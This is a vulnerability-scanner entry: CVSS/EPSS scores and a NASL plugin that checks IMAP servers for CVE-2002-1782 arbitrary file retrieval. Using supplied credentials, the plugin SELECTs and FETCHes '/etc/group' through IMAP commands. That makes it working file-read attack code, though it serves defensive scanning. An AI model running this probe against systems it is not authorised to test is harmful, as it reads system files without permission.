6.4 Medium
AI Score
Confidence
Low
2.1 Low
CVSS2
Access Vector
Access Complexity
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:L/AC:L/Au:N/C:P/I:N/A:N
0.0004 Low
EPSS
Percentile
5.2%
The target is running an IMAP daemon that allows an authenticated user
to retrieve and manipulate files that would be available to that user via a shell. If IMAP users are denied
shell access, you may consider this a vulnerability.
# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.12254");
script_version("2023-08-01T13:29:10+0000");
script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"2.1");
script_tag(name:"cvss_base_vector", value:"AV:L/AC:L/Au:N/C:P/I:N/A:N");
script_cve_id("CVE-2002-1782");
script_name("IMAP arbitrary file retrieval");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2004 George A. Theall");
script_family("Remote file access");
script_dependencies("imap4_banner.nasl", "logins.nasl");
script_require_ports("Services/imap", 143);
script_mandatory_keys("imap/banner/available", "imap/login", "imap/password");
script_xref(name:"URL", value:"http://www.washington.edu/imap/IMAP-FAQs/index.html#5.1");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/4909");
script_tag(name:"solution", value:"Contact your vendor for a fix.");
script_tag(name:"summary", value:"The target is running an IMAP daemon that allows an authenticated user
to retrieve and manipulate files that would be available to that user via a shell. If IMAP users are denied
shell access, you may consider this a vulnerability.");
script_tag(name:"solution_type", value:"Mitigation");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
include("imap_func.inc");
kb_creds = imap_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];
if (!user || !pass)
exit(0);
file = "/etc/group"; # file to grab from target.
port = imap_get_port(default:143);
tag = 0;
soc = open_sock_tcp(port);
if(!soc)
exit(0);
s = recv_line(socket:soc, length:1024);
if (!strlen(s)) {
close(soc);
exit(0);
}
s = chomp(s);
#
# - try the PLAIN SASL mechanism.
# nb: RFC 3501 requires this be supported by imap4rev1 servers, although
# it may also require SSL / TLS encapsulation.
++tag;
c = string("a", string(tag), ' AUTHENTICATE "PLAIN"');
send(socket:soc, data:string(c, "\r\n"));
s = recv_line(socket:soc, length:1024);
s = chomp(s);
if (s =~ "^\+") {
c = base64(str:raw_string(0, user, 0, pass));
send(socket:soc, data:string(c, "\r\n"));
# nb: I'm not sure why, but the following recv_line often times out
# unless I either sleep for a bit before or specify a timeout
# even though the actual delay / timeout seems irrelevant.
while (s = recv_line(socket:soc, length:1024, timeout:1)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
}
# If that didn't work, try LOGIN command.
if (isnull(resp)) {
++tag;
c = string("a", string(tag), " LOGIN ", user, " ", pass);
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
}
# If successful, try to select an arbitrary file to use as a mailbox.
if (resp && resp =~ "OK") {
++tag;
c = string("a", string(tag), ' SELECT "', file, '"');
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
# If successful, try to read the file.
#
# NB: this isn't really necessary since the previous command,
# if successful, means we can read the file.
if (resp && resp =~ "OK") {
++tag;
c = string("a", string(tag), " FETCH 1 rfc822");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
if (resp && resp =~ "OK") security_message(port);
}
}
# Logout.
++tag;
c = string("a", string(tag), " LOGOUT");
send(socket:soc, data:string(c, "\r\n"));
while (s = recv_line(socket:soc, length:1024)) {
s = chomp(s);
m = eregmatch(pattern:string("^a", string(tag), " (OK|BAD|NO)"), string:s, icase:TRUE);
if (!isnull(m)) {
resp = m[1];
break;
}
resp = "";
}
close(soc);